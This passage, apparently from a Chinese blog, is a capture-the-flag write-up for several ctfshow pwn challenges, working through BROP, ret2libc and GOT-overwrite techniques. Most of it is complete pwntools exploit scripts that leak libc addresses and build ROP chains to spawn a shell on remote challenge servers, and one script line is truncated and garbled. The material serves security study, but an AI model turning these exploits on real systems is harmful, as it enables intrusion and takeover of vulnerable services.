- 二次验证: 探针 + p64(0)*6 + p64(0)(trap) → csu pop 6 个后 ret 到 trap → 崩溃
- 若探针是普通 stop: 不 pop,直接 ret 到 stop → 也打印 banner(需二次区分)
本题:csu = 0x40083a,pop_rdi = csu + 9 = 0x400843
注意: csu 区在 main 之后(0x40083a),手工盲扫容易漏(我只扫到 0x400800)
Step 4: 找 puts_plt(用 ELF 头验证)
pop_rdi + p64(0x400000)(ELF头, 内容=\x7fELF) + 候选地址(puts_plt) + stop
若候选是 puts@plt: puts(0x400000) 输出 "\x7fELF..." → 命中
本题:puts_plt = 0x400545(注意 0x400550 效果相同,PLT 指令中间起跳)
Step 5: dump PLT 找 puts_got
用 puts(任意地址) 逐字节 dump 0x400540-0x400560
解析 jmp [rip+X] 指令的 GOT 地址:
0x400550: ff 25 c2 1a 20 57 → jmp [0x400556+0x201ac2] = 0x602018
本题:puts_got = 0x602018
Step 6: 泄露 puts + ret2libc(同一连接!)
泄露: pop_rdi + puts_got + puts_plt + stop
→ puts(puts_got) 打印 puts 真实地址 (6字节 + \n)
→ low12=0x9c0 → libc6_2.27-3ubuntu1 (puts=0x809c0, system=0x4f440, binsh=0x1b3e9a)
攻击: pop_rdi + binsh + system + stop → shell
三、Payload(完整可复用)
from pwn import *
TIMES = 72
STOP = 0x400728 # stop gadget: 回 main 循环
POP_RDI = 0x40083a + 9 # csu + 9 = pop rdi; ret
PUTS_PLT = 0x400545
PUTS_GOT = 0x602018
def connection():
io = remote('pwn.challenge.ctf.show', 28213, timeout=6)
io.recvuntil(b'Do you know who is daniu?\n', timeout=3)
return io
libc = ELF('libc-2.27-3ubuntu1.so')
io = connection()
# 泄露 puts
payload = b'a'*TIMES + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(STOP)
io.sendline(payload)
real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base = real_addr - libc.symbols['puts']
# 泄露后 stop 回 main, 收掉 banner, 同一连接发第二段
io.recvuntil(b'Do you know who is daniu?\n', timeout=1.0)
payload2 = b'a'*TIMES + p64(POP_RDI) + p64(base+libc.symbols['system']...
payload2 = b'a'*TIMES + p64(POP_RDI) + p64(binsh) + p64(system) + p64(STOP)
io.sendline(payload2)
time.sleep(1.0)
io.recv(timeout=0.5)
io.sendline(b'cat /flag')
四、可复用技巧 / 坑(重点)
BROP 是盲打无二进制唯一系统性解法:崩溃二分 → stop gadget → csu → puts_plt → ret2libc
csu gadget 用 6 个 trap 识别(csu 能 pop 6 个栈值),pop_rdi = csu+9
puts_plt 用 ELF 头 \x7fELF 验证(0x400000 处固定内容)
dump PLT 解析 jmp [rip+disp] 算 GOT:GOT = 指令下一条地址 + disp32
同一连接内泄露 + 利用(STOP 回 main 后继续),重连 ASLR 会变导致 base 错
泄露解析:puts 输出 = 6 字节地址 + \n,recvuntil(b'\x7f')[-6:] 精确提取
flag 路径:本题是 /flag(根目录),不是 ctfshow_flag
并行加速盲扫:ThreadPoolExecutor 24 并发扫 0x800 地址 ≈ 2 分钟
五、踩坑记录(我实战踩的)
手工盲扫漏了 csu 区(0x400800+,0x40083a 在 main 之后)——只扫 0x400800 以下找不到 csu
误把 main 内的 puts 调用点当 puts_plt(0x400590 打印 welcome 是 call puts 的代码,不是 PLT stub)
泄露成功但重连导致 ASLR 变 → 第二段 system 崩(必须同一连接)
puts 输出文本误当内存地址(head 变化时输出 "No passw"/"timeout" 是 ASCII 非地址)
LibcSearcher 数据库下载失败(EOF),改用手动下载 libc + 偏移表
ai好啊,ai得学
pwn81

got表只读,开了动态和nx

![]()
这里似乎直接把libc的库给了
handle = dlopen("libc.so.6", 0x100);
v3 = dlsym(handle, "system");
printf("%p\n", v3);
而且还直接给了system的地址
我们继续使用ldd,检测出来基址

我们的操作大概是这个样子:
io.recvuntil("Maybe it's simple,O.o\n")
system = int(io.recvline(),16)
libcbase = system - libc.sym['system']
接着找溢出位置

这里需要的溢出量是80h+8
接着要提取sh,这里看大佬的wp,发现一种很新的提取方法
bin_sh_addr = libc_base + next(libc.search('/bin/sh')) #找到的第一个/bin/sh字符串
这里确定了base后直接使用search寻找字符串,找的是libc中的字符串
接着我们来解决传参的寄存器

我们用的是rdi和ret
0x00000000000006f6 : ret
0x0000000000000a93 : pop rdi ; ret
代码如下:
from pwn import *
context(arch='amd64',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28140)
libc=ELF('./libc.so.6')
padding=0x80+8
io.recvuntil("Maybe it's simple,O.o\n")
system = int(io.recvline(),16)
libc_base = system - libc.sym['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x8aa
payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(ret)
payload += p64(system)
io.sendline(payload)
io.interactive()
system的地址来自回返的截取,base的地址通过实际情况减去libc中的偏移实现获得
接着就是正常的计算和rop了
pwn82

这里题目提示说是高级ROP 32 位 NO-RELRO
防护只开了nx
这里目测能用libc泄露梭过去
主函数

目前没看出来有什么用,不过倒是有write,能用来泄露函数got

这里存在栈溢出

这里允许写入100h,但是buf只有6c,溢出量为
6c+4
base计算方式如下:
write_addr = libc_base + write_offset
-->libc_base = write_addr - write_offset
32位传递参数也不需要寄存器了,但是针对write,我们需要这样构造.1是标准输出,4是输出字节数。这里libcsearcer的库要多匹配几次
write(1, write_got, 4)
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28291)
elf = ELF('./pwn82')
write_plt = elf.plt['write']
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x6C+4
payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7'))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')
payload2 = b'A'*padding
payload2 += p32(system)
payload2 += p32(show_addr)
payload2 += p32(bin_sh)
io.sendline(payload2)
io.interactive()

这里其他大佬还有一种解法是通过修改got表
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level="debug")
io=remote("pwn.challenge.ctf.show",28291)
elf = ELF('./pwn82')
write_plt = 0x080483a0
write_got = elf.got['write']
strlen_got = elf.got['strlen']
strlen_plt = 0x8048380
show_addr = elf.sym['show']
read_plt = 0x8048370
padding = 0x6C+4
payload = b'A'*padding
payload += p32(write_plt)
payload += p32(show_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7'))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base+libc.dump('system')
bin_sh = libc_base+libc.dump('str_bin_sh')
payload2 = b'A'*padding
payload2 += p32(read_plt)
payload2 += p32(show_addr)
payload2 += p32(0)
payload2 += p32(strlen_got)
payload2 += p32(4)
io.sendline(payload2)
io.send(p32(system))
payload3 = b'A'*padding
payload3 += p32(strlen_plt)
payload3 += p32(show_addr)
payload3 += p32(bin_sh)
io.sendline(payload3)
io.interactive()
我们可以直接发送system_addr到strlen_got来完成GOT覆写
覆写完成后,我们调用strlen就能调用system,这是只要再传入sh就能获得flag
pwn83

不可写got了

一模一样的。。。。
继续用上一题的脚本就行了

库也是一个【】
pwn84

似是故人来


潦草了还真是故人
只是把32换成了64

溢出量70h+8
这里write的三个参数需要使用寄存器传递
得要pop rdi、pop_rsi_r15、pop_rdx和ret
pop_rdi = 0x400773
ret = 0x4004c6
pop_rsi_r15=0x400771
没rdx,但是我们先前会调用read,这里rdx会有初始值的,0x100
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
io = remote("pwn.challenge.ctf.show",28153)
elf = ELF('./pwn84')
pop_rdi = 0x400773
pop_rsi_r15 = 0x400771
ret = 0x4004c6
write_plt = 0x04004E0
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x70 + 8
payload = b'A' * padding
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(show_addr)
io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload2 = b'A' * padding
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
io.sendline(payload2)
io.interactive()
这里wirte的dx默认0x100字节的读取,这里我们能通过截取实现控制

pwn85

要不直接拿脚本试试吧。。。

看了看发现是寄存器位置变了

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
io = remote("pwn.challenge.ctf.show",28284)
elf = ELF('./pwn85')
pop_rdi = 0x4007a3
pop_rsi_r15 = 0x4007a1
ret = 0x4004fe
write_plt = 0x0400510
write_got = elf.got['write']
show_addr = elf.sym['show']
padding = 0x70 + 8
payload = b'A' * padding
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0)
payload += p64(write_plt)
payload += p64(show_addr)
io.recvuntil('Welcome to CTFshowPWN!\n')
io.sendline(payload)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload2 = b'A' * padding
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
io.sendline(payload2)
io.interactive()

还剩下几道,看了看wp各种花式溢出,感觉家里折腾不出什么门道,去学校以后研究吧。
而且现在因为字数缘故,码字及其卡顿,就先到这里了
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)